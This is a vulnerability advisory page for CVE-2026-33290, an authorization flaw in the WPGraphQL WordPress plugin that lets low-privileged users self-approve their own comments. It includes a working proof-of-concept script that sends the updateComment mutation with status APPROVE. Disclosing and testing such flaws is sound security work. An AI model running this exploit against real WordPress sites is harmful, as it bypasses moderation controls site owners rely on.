CVE-2026-33290

Published: Mar 24, 2026 Last Modified: Mar 24, 2026
ExploitDB:
Other exploit source:
Google Dorks:
MEDIUM 4,3
Attack Vector: network
Attack Complexity: low
Privileges Required: low
User Interaction: none
Scope: unchanged
Confidentiality: none
Integrity: low
Availability: none

Description

AI Translation Available

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

### Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

### PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

npm install
npm run wp-env start

2. Run this PoC:

```
npm run wp-env run cli -- wp eval '
add_role('no_caps','No Caps',[]);
$user_id = username_exists('poc_nocaps');
if ( ! $user_id ) {
$user_id = wp_create_user('poc_nocaps','Passw0rd!','[email protected]');
}
$user = get_user_by('id',$user_id);
$user->set_role('no_caps');

$post_id = wp_insert_post([
'post_title' => 'PoC post',
'post_status' => 'publish',
'post_type' => 'post',
'comment_status' => 'open',
]);

$comment_id = wp_insert_comment([
'comment_post_ID' => $post_id,
'comment_content' => 'pending comment',
'user_id' => $user_id,
'comment_author' => $user->display_name,
'comment_author_email' => $user->user_email,
'comment_approved' => '0',
]);

wp_set_current_user($user_id);

$result = graphql([
'query' => 'mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }',
'variables' => [ 'id' => (string)$comment_id ],
]);

echo wp_json_encode([
'role_caps' => array_keys(array_filter((array)$user->allcaps)),
'status' => $result['data']['updateComment']['comment']['status'] ?? null,
'db_comment_approved' => get_comment($comment_id)->comment_approved ?? null,
'comment_id' => $comment_id
]);
'
```

3. Observe result:

- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1

### Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

862

Missing Authorization

Incomplete
Common Consequences
Security Scopes Affected:
Confidentiality Integrity Access Control Availability
Potential Impacts:
Read Application Data Read Files Or Directories Modify Application Data Modify Files Or Directories Gain Privileges Or Assume Identity Bypass Protection Mechanism Dos: Crash, Exit, Or Restart Dos: Resource Consumption (Cpu) Dos: Resource Consumption (Memory) Dos: Resource Consumption (Other)
Applicable Platforms
Technologies: AI/ML, Database Server, Not Technology-Specific, Web Server
View CWE Details
https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0
https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh